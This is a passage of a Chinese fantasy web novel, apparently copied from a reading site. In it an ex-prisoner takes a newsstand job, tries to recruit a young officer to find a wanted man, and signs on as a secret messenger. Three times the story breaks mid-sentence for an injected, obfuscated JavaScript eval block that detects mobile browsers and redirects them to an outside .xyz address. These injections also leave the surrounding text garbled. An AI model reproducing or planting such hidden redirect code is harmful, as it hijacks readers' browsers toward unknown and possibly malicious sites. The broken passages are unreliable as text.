可年轻人怎么能有这种想法呢?想要凯旋、想要获得夹道欢迎、想要迎来世界尽头的鲜花掌声美娇郎,就必须全力以赴地把每份工作都做到极致,这是阿邱·预备救世主为自己定下的标准。 库奇先生没有吩咐过,她又主动给自己找了个新任务,一本一本地查阅书籍封底,再按图书馆分类法排排好:圣诗集、圣诗拾遗、圣诗杂录、圣诗论丛堆成一摞,划为社会科学A类,有点怪,但教授们都是这么教的;其余手抄本杂诗、畅销小说、话剧底本分到社科I类;舞剧画报、阿瑞斯杯选手海报集录分到J类;魔咒手册、武术技法、《如何体面地与xx星座分手》系列书籍分到G。接下来就是自然科学类了:食谱分到T、园艺分到S……小小报刊亭能有多少存书呢,干完这项附加工作,阿邱手上的灰都只积了薄薄一层,两下子就能拍掉。 事实上,比较难分类的才占大头——一大摞出版方不明的低俗杂志、另一大摞得过官方许可的、传达情绪较为温和且鼓励原创的低俗杂志,皆是图文兼备、内容庞杂,封面标题都是你抄我我抄你的,阿邱思前想后,把它们和纸牌、香烟等有害娱乐产品堆放在了一起。 做完这些之后,今天的报纸也送来了,那个空着的条凳就是留给它的。《黑曜石日报》《今日林海》《十字邮报》……为免蹭花油墨,整理它们时,阿邱戴上了库奇特地嘱咐过的手套,理着理着忽然发现——奇怪,淡猫俱乐部的人似乎从不看报?外面的壁橱只放了唱片和酒,没有大篇幅带字的东西。她猜测,这并不代表俱乐部成员不关心时事,只能说明他们有另外的信息渠道。 太阳投下短暂的一瞥后,街上陆陆续续有了行人,这时候,最重要的一项工作就可以开始了! 库奇是这么跟她交代的:“有的家……咳、咳,家伙手脚不干净,喜欢顺走摊子上的东西,你可得盯紧了,要是——咳哄,咳哄,账对不上一厘,你马上就给我走人!” 没错,她来之前牧笛也这么说过:库奇身弱体衰,夜之窟群雄欺他老无力,忍能对面为盗贼,把他辛辛苦苦钉好的“君子投币箱”都踩烂了拿去卖木片,真坏呀!他单凭一己之力治不了这群地痞流氓,才专门雇了个年轻力壮的给他镇镇场子。 “咦,之前都没雇过人的吗?” “报刊亭能赚几个钱?老库奇自己生活都不够的,加上又没发展性还不给盖实习章,哪有年轻人愿意干这份工作?找兼职备考也不至于找到那儿去,库奇也是没法子了才托人家帮忙的,可怜的老东西。” 如此一来,这份工作就被赋予了维护背阴处秩序的神圣意义,阿邱浑身干劲、严防死守,两只拳头捏紧了放在大腿上,用狼狗的眼神死死盯着每一个过路人。 营业时间结束后,虽说一份报刊、一盒香烟都没有被坏人顺走,但阿邱的干劲导致报刊亭客流量急剧下降,于是挨了骂,工资也被扣掉了一半。 看见没,这就是社会新人办事不牢靠的证据,天生把握不好那个度,死板得很,有的人要顺手牵羊的话……你就让他们牵嘛!至少不该因噎废食,吓得正常人都不敢靠近啦! 阿邱从中悟到了一点:人要是想省钱,就不能在开头把话说明白。这种小tip还是第一次发生,必要时却可救命,值得记在情商修炼手册的前几页。 幸好,除了误读指令造成的损失,这份兼职整体上她还是能胜任的,最重要的是——能被各式各样的书籍环绕,简直太幸福了!就连插班老师都没有这项便利。 报刊亭里当然没有看一页就能长一截见识的学术巨著,可阿邱粗略翻了翻,也找到了一些实用价值较高的杂书,比如有一本叫《万事不求人手册》的,从书名来看就是现在的她最需要的,为了明天不让老库奇气到忘了咳嗽、折损寿数,阿邱决定灵活调整策略,在有必要的顺手牵羊发生时,眼不见为净地躲回正方形小窗口里偷偷地翻上一翻。 交班时,库奇忽然问她:“女神要求你们20岁就生头胎,你怎么现在才出来工作?” 没带咳嗽,带了点恼怒,可见二者是不能同时存在的。 阿邱一时没搞懂这两者有什么联系,顺着他的意思说:“这……工作稳定了才好养孩子不是么。” 库奇把销量较好、半天过去只剩最后一本的角斗士海报册往地上一摔:“现在的女人都要反了天了!就是因为这个,我才没脸去泉下面见先贤的!” 这话听着也没什么内在逻辑啊……阿邱挠着头努力思考了一会,试图为老人的愤怒找到出口:“其实还有一个原因,在这个时代,人与人之间的防备心都太重了,异性之间全是算计、没有信任,共同孕育一个孩子谈何容易?这也不是我们女人单方面的问题呀。” 却没想到库奇更生气了:“好哇,跟我顶嘴是吧!你们就是看不清楚事物的本质!我年轻时,女人连学都不能上,那时候她们十四五岁就生两胎了,女神根本就不会为人口而忧虑!老了老了,还要受你这玩意儿的闲气,子宫都干枯了还没把自己嫁出去的废物!咳哄、咳哄——” ……阿邱好像有点明白为什么报刊亭一直招不到帮手了。 话语上的劝解起不到作用,库奇的怒火是在阿邱爽快接受扣工资后突然熄灭的。 大家都有各自的社会责任感,阿邱并不在意库奇的话,更让她忧虑的是——就算拿全了日结工资,她三天也才能赚到一天的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052071|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费……仅仅一份收入是远远不够的,她还得再找找别的兼职。 往南有个铺子修鞋又补伞,老板的年纪和库奇差不多,但他精神矍铄,挥舞破伞的样子也十分健朗,明言过“我的手艺传男不传女”,阿邱在塔尔塔洛斯习得的缝纫技术便派不上用场了。 四处打听一下,送奶工那边也是常年缺人,这个工种倒不分性别,可当阿邱迟疑着想和经理详谈时,身后,一直不怀好意盯着她的在职送奶工明白了什么,急吼吼地顶上去:“这周8栋到50栋我全包了!” 经理一看工人们都有了干劲,便不想再多花一份佣金了。 此外,阿邱还考虑过儿童福利院这类机构,但夜之窟的喜好很独特,扔孩子时从不考虑孩子的前途,每年年末负责帮垃圾站铲掉堆放发臭的死婴,或许比寻找不存在的弃婴庇护所有赚头。 转了一大圈,她发现就算是扒手组织也是持有紫卡的优先上岗,当然,这句话没有二等通行者一定能滞后上岗的意思。她开始有了先贤的视角,体会到幸福之所以弥足珍贵,正是因为它有门槛;既然没有生在门槛的那一头,她就必须比常人付出更多的努力。 阿邱走累了,背靠残破的墙根,打开一直揣在怀里的情商修炼手册,看着平面鸫,露出了安心的傻笑。通缉令的复印件安全、干燥地待在她床脚,为了随时随地能看到平面鸫,闲暇时分,她把一张大纸蒙在原版鸫上面,仔仔细细把他的轮廓拓下来,再用通识课上学到的制图术,按照一比五的比例压缩到了小本子上。 做完这套工作,好像她无论走到哪里,鸫都会一直陪伴在她身边,种种挫败显得也不那么可怕了——往好处想,四处走走看看,她探听到了这个世界的不少秘密,其实也挺有意思的。 “谢谢你。”她高高举起迷你版平面鸫,用顶礼膜拜的口吻说道:“要不是有你在,我差点就忘了要用流星的眼睛看待世界。等着我,我一定会找到你的!” 只要找到鸫,世界就能变好——哪怕一点点,她这么相信着,无凭无据地。 有颗小石子滚落到脚面上,阿邱转身一看,她倚靠的不就是豆子撞烂的那面墙吗!不想被追讨赔偿金,她赶忙离开了那个地方。 来到经常地震的咖啡馆之下,阿邱脚下一顿,因为她的后脖颈又有种被飞镖扎了一下的感觉。 回头看时,却不是苏西。凉意的源头比他还经不起回视,人群喧闹而无序,吞没了单一信息源,夜之窟确实是个好地方啊。 阿邱无所谓地耸耸肩,任由一阵尖锐的鹅笑声擦过头皮。 ——是昨天那个平衡感很好的中年绅士,坐在咖啡桌边,可能刚在牌局上取胜,拍着手笑个不住。瘦小的招待避之不及,手一滑,把半瓶朗姆酒打翻在他的杯子里。 察觉到阿邱的注视,绅士又是满脸歉疚,捏住自己的腮帮子死命憋笑,结果就是陷入了永无止境的打嗝地狱。 26. 第二十一章 酷学研究 罗宾站在地心剧院大门口的露台上,正在帮一盆名贵的水仙花做日光浴。 这是克洛诺斯新得的宝贝,赠送者说悉心伺候小一个月就能开花了,一个敢说一个敢信,也不看看现在是什么气温。 伺候一株花并不比伺候一个人简单。白天要在石头盆里填上清水,搬到有阳光直射的地方给它吃饱喝足,傍晚再搬回背阴处、倒掉养分耗尽了的水;最开始每天都得换一次水,等它熟悉了新环境,改为两三天一次;天冷了要保温防寒、天热了又要想法子送清凉…… 总而言之,人类可以忍受在逼仄的环境里生活工作,水仙花却不能,它又没有用来大吵大闹的器官,一言不合就走极端,表达不满的手段有且仅有死亡,“静态”他个大头鬼。 站在整座建筑的最高处,远方的广场尽收眼底,从这个视角看,邱小姐就像困在谷堆里三天没吃饱的麻雀一样,愚笨又渺小。 她披着式样和色彩都完美符合老太太品味的披肩——岂止是披着,因为穿不惯,一只手还伸出来,顾不上保暖地紧紧攥着缺口,那上面极有可能少了颗扣子——犹犹豫豫地朝全镇最北端走来。 真麻烦,豆子闭了闭眼睛。请问他可以搬着有一顿没吃饱并且可能因此死掉的水仙花跑路吗? ———— ———— 第一,生活需要劳逸结合。 第二,好马可以在前方没草吃的情况下吃吃回头草。 第三,自从推断出偶像粉丝假说,阿邱绝望地接受了一个现实:想比克洛诺斯更快一步找到鸫,最有可能发挥作用的合作伙伴,好像只剩豆子警官一个人了诶。 除开近水楼台先得月,还有一个关乎动机的理由:鸫是克洛诺斯刚认下的弟弟,对吧?找到了鸫,克洛诺斯会偏爱他超过任何人,对吧?那样的话,豆子警官就彻底失宠了。想他抠破了头皮好不容易通过入职考试,终于获得一个被偶像压榨的机会,眼看着新来的鸫轻轻松松抢走了克洛诺斯的关注,他又怎会甘心呢! 因而,阻止克洛诺斯找到鸫,理应符合他和阿邱的共同利益。是人都有私心,阿邱就不信了,经过她一番感人肺腑的精彩游说,豆子还会不哭着喊着求阿邱大王提携提携他! 至于上次的事么,时过境迁,她的两瓣脑袋都不怎么介意了。书上说,嘴巴刻薄的人心里都很苦,新人审讯员也是一样的道理——带着自由身被欺压的苦阿邱已经尝过了,由实践本身取代了实践的理论,比刚认识时更能理解他们:虽说人家的工作、生活、财务状况都比她好得多,但在安全感水平上,她觉得她们三个简直就是同病相怜。 下午,广场上的布道工作结束了,同样的位置换上了弹奏西塔琴的圣歌者,他们在歌颂狄安娜女神。被亘古不变的旋律环绕着,狄安娜女神塑像也在温和地俯视众生。 女神从最开始就站在广场一角,实在太理所当然了,理所当然到常常被忽视。说句大不敬的话,偶像和神在底层逻辑上没有区别,他们身上都承载着某种信仰,像娜塔莎这种把吟诵圣诗的时间全都花在追捧偶像上的人,某种程度上,也是对“洱鸾大陆只能有一个神”的小小反抗。 也正是为此,阿邱从不反对任何人为了追捧偶像而忽视眼前人。就是活在梦里又怎样?能活着就很不错了,信仰又不是人们为献祭自己找到的理由,而应该是塑造人物性格的辅助工具,从这个角度看,不随大流的小众信仰还会让人物更加鲜活,不是吗? 不像已成型的偶像,她这个未来的救世主没有一丝神性,通身都是私心,只针对德不配位的偶像本人吃干醋——有时甚至不需要“德不配位”这个限定词。 那么再次见到愈发鲜活的豆子后,阿邱下定决心,不管他愿不愿意合作,她都会给他一个挽回自己的机会。 接近终止式·临时指挥处所在的角落,她的脚步变得更加轻快。由于目标只是个小铁门,地心剧院的压迫感也无法动摇她的决……决心!什么,都用到决心两个字啦?那好吧其实她还是有点紧张的…… 紧张之下,她又忘了罗宾长什么样子。不是吧?明明才过了一天而已啊!阿邱记性不坏,这不能怪她,都怪豆子警官长得太平均脸了—— 哦?露台上那个盯着她看的扑克脸不就是豆子嘛,还端着一盆气质跟他完全不搭的水仙球茎。怎么,那盆花的性格很极端吗?竟会让端着它的人垮起个脸来。 既然见到本人还能认出来,阿邱松了口气,不再担心脑袋是否被两夜的废水给滴坏了。 虽然牧笛说今天气温回暖了些,可再怎么着,初春时节又能暖和到哪儿去?捧着那盆令人生气的茎叶,豆子换上了全指手套——为了保暖、为了向手掌下半部分证明他并没有偏心手掌上半部分,一种名为“酷”的学问暂时被他搁置了。 心理建设做了一大堆,单独和本人接触时,阿邱还是有点害怕。不是在害怕警棍和锏,她是不想又在豆子面前表现出很傻的样子,希望新发型能提供一些触底反弹、圈出“反差感”的余地。 这时她才想明白,原来她剪蘑菇头还有这个原因在!不仅仅是因为来自夜莺巷的剪头man只会剪蘑菇头。 ———— ———— “罗宾警官——罗宾警官——罗——” “我听到了。” “听到了你答应一声嘛!” “你每次都要喊两遍。” “所以喊到第三遍才答应吗?你真贴心。罗宾警官,见到你伤势痊愈了我真高兴!” “还没痊愈呢。” “……见到你精神恢复了我真高兴!” 长长的楼梯上,邱小姐抓着披肩,连蹦带跳、两级两级地往上跑,跟豆子不一样,她是真心期望a点和b点能在x点相会,在跑过一个9:1的距离之后。 从积极性上看出她不是来赔礼道歉的,预计谈话时间不会太短,豆子把水仙花放到了一旁的扶手上。 “有事吗?” 邱小姐朝他伸出手——想了想,又缩回去,在散发着柠檬洗涤剂清香的裙摆上蹭了两下,重新伸出来:“有事有事,还是件大事,我诚挚地邀请你和我一起寻找鸫的下落!就是通缉令上那个鸫。” “为什么找我?” 为预防话题闪躲术,阿邱悟出一个方法是把主导权牢牢抓在自己手上:“稍等,首先我要向你解释的是:为什么我不邀请克洛诺斯先生?答案一定让你意想不到——因为这事我们必须背着他干。” 豆子也从她刻意凹出来的满眼精光中看出一个明显的小技巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052072|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :如果不想回答眼前比较棘手的问题,可以偷偷摸摸抽掉这个问题,替换上一个自己能回答的。 他无聊地拨弄一下水仙茎叶:“谁来背?他一米九几。” “谁……好吧,这个我稍后再笑。你有没有想过一种情况?我们到这边来说。” 邱小姐鬼鬼祟祟地把他拉到一个角落——由于这里是露天楼梯的平台,每个角落都足够光明正大,她还特地选了个有醉汉吐痕的墙根,最大限度地烘托出谈话的隐秘性:“你应该看得出来克洛诺斯先生很在意鸫吧,不然也不会随身携带他的通缉令,我担心的是,真要是找到了鸫,他肯定会把他供起来的!” “供起来又怎样?”当事人不是常说要把他卖给富婆吗,豆子才不觉得那是一种供起来的姿态。 “太没警觉心了你!到那时候,你最在意的……被一个同龄男性抢走了,你哭都没地儿哭去!” 豆子尝试破译她的省略号:“我最在意什么?” “你自己心里清楚!害臊个什么劲儿嘛。”邱小姐嘿嘿一笑,眼珠滴溜溜地转,好像趁他不注意就要偷走他的银袖扣缝到自己披肩上了:“想拉你入伙也是因为我也在这上面吃过亏,我小的时候在……在老家有个很讨厌的人,就很烦你知道吗,全世界好像只有我讨厌他!不管我怎么努力,大家都永远偏心他、忽视我,这种滋味实在太不好受了,我不希望你重蹈我的覆辙——反、反正,你感受到了吗,我们两个人的目标完全是一致的!” “稍等。”以防她自顾自地无限发散,豆子立起皮质手套包裹的黑巴掌,反问她:“我能打听一下吗,你的目标又是什么?” 被问起这个,邱小姐脸一红,在酒红色老太披肩的衬托下,整个人变成了一只深粉色戴眼镜的毒蘑菇,霎时间豆子身边的气温都升高了一摄氏度。 “行,不用问了。”他捏着眉头道,“第二个问题,为什么你也需要背着——” “抬着、抬着!我们两个可以一人抬头一人抬脚。好了,这个笑话就翻到这里——为什么背着呢,因为我一定要在克洛诺斯前头找到鸫……” 说着,她想起什么,猛然止住话头:“等一下!要是你不同意……你不会去告密吧?” 终于反应过来了啊。 沉默中,邱小姐后撤一步、半转身子,抿住嘴,上下唇掖成一条缝。看那眼神就知道,她正在直接逃走和干掉豆子丢进下水道再逃走之间做着艰难的抉择。 再这样下去就要闻到脑仁烧焦的气味了,豆子望向远方,深深叹气道:“我不会告密的。” 不是他心地善良,纯粹是通知一个人他早就知道的消息算不上告密,原件和复印件都热衷于同一件事实在太正常了,希望邱小姐早日习得这项常识。 “我我、我要怎么相信你!?你这只是口头承诺,没有法律效力——” “爱信不信。” 豆子抱起花盆,身侧擦着她下了楼。 是地砖。一定是地心剧院毫无美感可言的大理石地砖晃到了他的眼睛,勾起了本不该存在的对傻子的恻隐之心。 “真的没问题吗?” “什么?”邱小姐跟着回头,看向难得为她驻足的豆子。 “我说你晚上睡在那种地方没问题吗?” 27. 第二十二章 机动队员 就算有问题,她也没别的地方能去了啊。 邱小姐开口时明显是吞掉了半句话:“……谢谢关心。找到正式工作才有换住处的资本,这会儿就别挑啦。” 她把恻隐之心误解成一种邀请,咚咚咚地跑下楼追上豆子,作势要跟他一起回到指挥处。 也罢,刚好克洛诺斯快回来了,他也有事要找她。 不知出于什么原因,和豆子并排走能使邱小姐心情大好,都在对水仙动手动脚了:“哟,还挺精神!不过想让它早点开花,你们得注意控制温度,尤其是在结出花苞后增加保暖手段。” “你懂园艺?” “我懂植物。”她又不高兴起来,一张拥有各种粉度的脸变幻莫测,犹如五月的天,“植物是植物,园艺是园艺,你们怎么都……” 懂植物啊,她的原件也觉得自己老懂植物了。 “我们不想让它太早开花。” “咦,为什么?” “开得越早败得越快。” “也是哦。但你也不能为了这个特地去降温,随着气温的回暖它自己会开花的,记得定时晒太阳换水就好,换水时注意不要伤到根茎;要是长时间把它暴露在0℃以下的空气中,它也是会有生命危险的!还有就是,你们没事就在摆放它的位置多喷些水,可以防止茎叶发黄。” “明白了。” “不客气!” 这里有谁感谢她了吗? “还有什么不懂的,以后都可以来问我!” 一时得意,邱小姐忘了被人告密的危险,兴致高涨地说起了什么情况下才需要施磷肥的事。 豆子一句也没听进去,十成里面占九成的楼梯还长着呢。近距离观察时,该说不说,虽然发型已确诊为完蛋了,邱小姐的穿搭却在整体上正常了不少,许是刚把淘来的衣物洗干净了,还没来得及缝上口袋吧。 然而“正常”全被最外层那件老太披肩给破坏了,豆子蹙眉想着,一件衣服怎会如此地老相毕露?老得他都忍不住上手摸了摸,看看是不是和老人手背上的皮肤一个质感的。 邱小姐止住话头,在台阶上小转了个圈:“好看吗?我今天穿的是新衣服,你猜是从哪儿来的?” 她打劫了买菜的老太太?还是抢劫了夜之窟的旧物市场?如果是后者,抢劫还是次要的,那地方的货源都很成问题,说不好谁才是受害者。 等不到回应,邱小姐捻着裙摆主动承认了:“是有人从集体公墓的尸体身上扒的,我全买下来了。” 久居狱中的人有个通病:遇到看起来像警官的人,总是强迫性地坦白从宽。 豆子认为保持心平气和才对得起她的有恃无恐:“死人的衣服你也买。” 他的意思是,你也不嫌晦气?邱小姐却像是预设了他的反应是“你好缺德”,照着自己的理解唐突上价值:“是个只敢在凌晨出来做生意的小摊贩,为了六个银币铤而走险,生活肯定过得很艰难吧。” 这样吗? “你可以直接送给他六个银币。” “……可是算不明白数就是他的不对了。希望他以后能学着圆滑点,不然又跟这次一样,白铤而走险了。” 有保留地自首完毕,她挑眉看向豆子,好像在等一句“摸尸体的贼你也抢。” 实话说,这不仅仅是强迫性坦白,甚至有点像在挑衅了。 豆子叹气的时候,为免水仙花在童年时代就吸收太多负面情绪,伸长胳膊把它拿远了些。 “你到底想说什么?” “我是想说,你们终止式和戍卫队都是守护世界的大英雄,对吧?那么埋葬在免费集体公墓的死者,算不算世界的一部分呢?” 豆子顿住脚步。 “‘世界’是由活人组成的。”他的回答不带一丝犹豫。 邱小姐却不是块硬骨头,既要暗搓搓地挑衅,又怕自己的浑话真的被严肃对待了,缩着脖子看豆子脸色,忽然换上一副讨好的笑脸,前言不搭后语地说:“啊,对,你说得没错!只是我有个朋友也住在那,我怕她被扒了……所以我必须打劫更多的夜贼,为她销毁罪证。” 用罪证来销毁罪证? “——因为我最近才知道,没有正式工作的人是没资格办葬礼的,我替她准备的那条裙子明显是葬礼制式,你、你懂吧?” “我懂了。” “啊?这是怎么懂的……” “为什么告诉我这个?”豆子重新迈开脚步,心里想着,这还不如接着跟他畅谈植物学呢。 ———— ———— 为了换取一点理解吧,大概。 不想和游说对象起冲突,阿邱闭了嘴。但没这个必要了,游说已经失败了不是吗? 指挥处锁着,“大人”都不在,还真是够机动的,贵单位。 “你先进去坐一会,队长马上回来,他有事要找你。” 怎么不早说?阿邱心里一紧:“什么事啊?” “不清楚,好像是要送你什么东西。” 还好还好,不是讨债就行。 她偷眼看看豆子,有些为刚才的口不择言而后悔。除了那些不能说的,她几乎把出狱以来干过最坏的事给坦白了……到底怎么想的,恐吓明明可以用更聪明的方式,下次可不能再这么不过大脑了! 也罢,反正也没人听得到她的心声,不管出了什么纰漏,都可以自由地责怪他人:说到底,还不是因为豆子突然摸向她心脏附近的禁区外围!她是越来越搞不懂这个豆子警官了,看着像是生人勿近,时而又会非常没有边界感,上回就是这样,忽然绕到身后玩她的眼镜,严重点看,简直可以上升为性骚扰—— 还是别上升了,他应该不是故意的。阿邱熟悉真正心怀不轨的狱警,可以分辨出豆子的行为纯粹是出于好奇心,因此她不能贸然提醒,否则会显得太过冷漠无情——就当是外面的人和里面的人对边界感的定义不一样吧!瞧瞧,女神听到她的心声之后都会忍不住夸奖:早就说我们阿邱心地好、能容人,生气从来不超过三天,受到了冒犯也要为他人着想。 收起那些负面情绪,新认识了一个复杂多面又具体的人,不管怎么看都是好事,“旧矿山镇有我熟人”——快要生出对别人说出这句话的底气了!所以,她应该抓住一切机会展示预备救世主的宜人性,假意转个圈躲过去就好……忍住后面那些浑话就更宜人了,下次一定注意。 享用了豆子招待的红茶和曲奇,正在为糖份犯困的时候,克洛诺斯风尘仆仆地赶回来了。 “哟,是阿邱小姐!我正要去找你呢。” 为躲过他爱的巴掌,阿邱只差没钻到茶几底下,逃亡路上还得到其下属同病相怜的一瞥——看吧,就说他们同病相怜。 以“下午好!”为开头,她开始背诵一整套面向长官的寒暄语……两句之后被打断了。 “你也顺利你也顺利。快来看看我给你准备了什么!” 克洛诺斯站在门边欢快地招手,语气像在唤小狗过去吃零食。 不会又是什么显像技术相关产品吧,阿邱心里直叹气,她是真的一点不懂,装都装不出来啊—— 走近一看,克洛诺斯手里躺的是一只略显浮夸的徽章,图案是一条淡色的蚯蚓用身体卷着一只深色的、亮闪闪的宝箱,底下压着暗纹,是“440 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到有人对自己的设计感兴趣,克洛诺斯嚼也不嚼就咽下去半块曲奇,腾出嘴来生猛地回答:“蚯蚓加珍宝,不就等于‘邱珊’嘛!” 原来如此,吓她一大跳,那么把她做成鱼饵钓取宝藏的B选项也可以划掉了! 作为自我的一种延伸,新名字被如此用心对待,这还是有生以来头一遭。阿邱真有点想哭了,死命咬着下嘴唇——坚持住啊勇士,千万不能因为这点小事就喜欢上克洛诺斯……顶多减免两把足以一击毙命的杀驴大砍刀,剩下的水果刀和修脚刀就不能再退让了。 “那现在的我算是终止式的线人啰?”阿邱急切地问道。她知道合同得仔细看,可是纸上的文字正在她眼前载歌载舞地喷彩虹,看得清楚才有鬼了。 克洛诺斯不紧不慢地纠正她:“不是线人,是信使哦。” 阿邱冲着低矮的天花板挥了挥拳头:“耶!我是墨丘利。” 被尬笑掩盖住的抽鼻子声中,忽地插进来一声冷嗤。抬头看时,豆子仍在埋头处理那座万年不化的文件冰山,应该是幻觉吧所以说。 “知道你着急,先跟你聊聊转正的事:上任后的表现是考核的重要指标,但终止式的岗位有其特殊性,也就是你们常说的那句话:逢进必考——先别慌,考不了武艺,你还可以试试书记官这类文职,统考也并没有大家说得那么难,都是有题库的。”说着,克洛诺斯回头招呼自家已上了岸的孩子:“辅导功课的事就拜托你啦,同级的豆子前辈!” 28. 第二十三章 入伙手续 不要啊!阿邱都不敢往文件山的方向看了。豆子可以接着逆来顺受,阿邱却不想永无止境地欠他的人情了;雪球都是日积月累地滚成雪崩的,而把她变成雪球的阳光和气温又无法提供优良的还债条件。 “不用麻烦不用麻烦,我自己想法子找书看就是了……” 公职人员选拔统考的教辅资料只能在正规书店买到,小小报刊亭还不具备分销资质,她知道镇上的书店在哪儿,存够钱之前先抽空去当个窃蠹,这样的事她之前也没少干。 冷不防,豆子插了一句:“真的考不了武艺吗?” 说话时,他还是不肯舍出一个正眼来,这下阿邱相信刚才那声冷嗤也是他发出来的了。 “对了对了!”像是被提醒到了,克洛诺斯清脆地一拍巴掌,“差点忘了问你们,旅店那边到底是怎么个事儿?” ……这时间跨度有点太长了吧。 “那老板蛮不讲理,还满口喷脏,罗宾警官差点跟他打起来,我就赶紧把他拉走了。” 为避免提到昨日那起同类案件,阿邱还在斟字酌句,克洛诺斯却毫不在意地挪近了椅子:“你把谁拉走了?你一拉他就走了?真的吗?那个豆子?那个犟驴?那个为了叛逆而叛逆的问题儿童?那块从出生起就住在茅坑里的硬石头?……” 一顶顶帽子扣到头上,豆子终于背叛了他坚守的酷学,就近抄起本什么册子,猛地丢向队长。 克洛诺斯下意识地闪开,又想起阿邱还待在危险地带,半道上突破人体极限、忽然改了方向,一伸手,稳稳当当接住了册子。 原来粉丝过激到一定程度是会出手攻击偶像的吗……很符合十字城邦的尚武精神呢。这个先不论,能在短暂的时间内展示出如此清晰的策略变化脉络,克洛诺斯的体术才是真的令人叹服,阿邱本还幻想着“那时候的豆子有没有被我酷到呢”,现在也不好意思跟真正的专家班门弄斧了。 把暗器扔回发射地——并顺利击中目标——后,克洛诺斯兴致勃勃地接着采访她:“快说说,你是怎么做到的?” “可能我力气大吧……” 甲方如有需要,乙方可以现场表演一个单手举茶几。 “那缴械呢?缴械可不是力气大就能做到的啊!” “那个……大概是运气好吧。” “不可能,绝对不可能!”克洛诺斯思忖片刻,忽然一拍茶几:“不如这样吧!广场上现在没几个人,阿邱小姐,你跟豆子状态全开地比试一场,让我见识见识你的实力!” 不要啊,这回是真的不要啊!以豆子这个一撅就折的脆身板,搞不好会死人的! “不行不行,他的伤还没养好——” “啪!” 克洛诺斯掏出一支枪拍在茶几上。 他的左手覆在上面没有拿开:“或者我让你一只手,你来缴我的枪?” 阿邱“腾”地站起身:“今天就打扰到这里了感谢款待改日再见!” “别走!枪你不喜欢,要不换成警棍——” “你俩差不多得了!” 秘技·文件之耳光平等地落在了每一个人的脸上。 鼻尖红痕未消的豆子稳健地插入两人中间,利索地收拾好刚才飞来的文件夹,泰然自若、气定神闲地担起了督学的职责——除了眼里满是黑沉沉的杀意。 “都看着我干什么?我脸上有你们人生的答案吗?”杀意正在悄无声息地蔓延,“你!填完劳务派遣登记表再走。” “好的。”手里被塞了一支笔,阿邱老老实实坐回了原位。 “你!蹄子收一收,踩脏了别人的裙子,洗衣费你来付啊?” “好的。”枪支被没收,克洛诺斯委委屈屈地把脚缩回了茶几下面。 指挥处的空气质量实在太好了,密度大得一只苍蝇飞进来都要被胶住翅膀。 五分钟后。 “那个,我能说句话吗?”克洛诺斯弱弱地举手:“阿邱小姐好像不擅长填这个,不如作为前辈的豆子你来指导一下……?” 事实上,除了填好名字,登记表比阿邱的裙子还要干净。 不是她读不懂那些栏目,只是面对一份自己配不上的合约,她一直在撒谎和说实话之间徘徊不决。 豆子听取建议,索性从阿邱手上抽出纸笔,三下五除二帮她填好了,一式两份——那就可以把心放回肚子里了,人家只是走个流程,犹豫太久反倒耽误了时间。 阿邱更加羞愧,深深地垂下头。表格回到手上,她的眼睛在豆子的笔迹上滑了一跤:想不到这人写字还挺好看的,每个字都像开口的豆荚一样规整,又像新发的豆苗一样舒展。 “如果你还在为最近的二连败感到失落……”克洛诺斯在短短一个章节中获得了成长,一直忍到书写结束后才捣乱,大力拍着豆子的肩膀道:“人生还很长,再坚持一下,总能等到你帅炸天的那一刻,阿邱小姐你说是不是!” “是的是的,总会有那么一天的!”阿邱连声附和道。 可惜临时督学半句奉承话也听不进去,看向克洛诺斯,眼里的冰锥嗖嗖地飞过去:“入职手续已经办完了。所以队长,你打算什么时候跟她介绍工作内容?” 克洛诺斯止住笑:“哎呀,瞧我,都把这事儿给忘了。” 这一唱一和还挺像那么回事的。要不是早就知道豆子对此一无所知,阿邱都要以为他们是提前串通好了的,专骗路过的青春美少女为他们卖命…… 稍等。一个突如其来的想法击中了她:该不会,蒙在鼓里的只有她一个人吧? 于是紧急查看合同:“那个,请问这句‘原则上最终解释权归甲方所有’可以展开说说吗?” 她真正想问的是:就算被要求当牛做马、杀人越货、砍下自己的脑袋给领导当球踢,也没有拒绝的余地吗? ——但冷静下来想想,就算真是这样,她也没得挑了。再怎么说也是一份正经收入啊,既不卡性别也不卡通行证,单位说出去还好听,感恩戴德吧她就。 “哦,这句是在说,机动队员通常没有一个固定的工作流程,任务总是跟着大部队的行进方向灵活调整的。”克洛诺斯正经起来,“比方说,近期打算派给你的任务就非常简单:请你帮我们盯着夜之窟。” “怎么个盯着法?不需要……入职技能培训吗?” “技能培训?哈哈,用不着这么紧绷,你就在那边正常工作生活,有什么异状及时汇报给我们就行——对了,听说你在家门口找到了兼职,还没来得及恭喜你呢!” “谢谢谢谢。”阿邱有些惋惜:“可是这样就不能光明正大把徽章别在胸口了……” 许是出于共情,克洛诺斯身体里的小孩钻出来,学着她的样子挥了挥拳头:“没办法,谁叫咱们是秘密信使呢,暂时的躲藏也是为了永恒的光荣——耶!” “耶!” 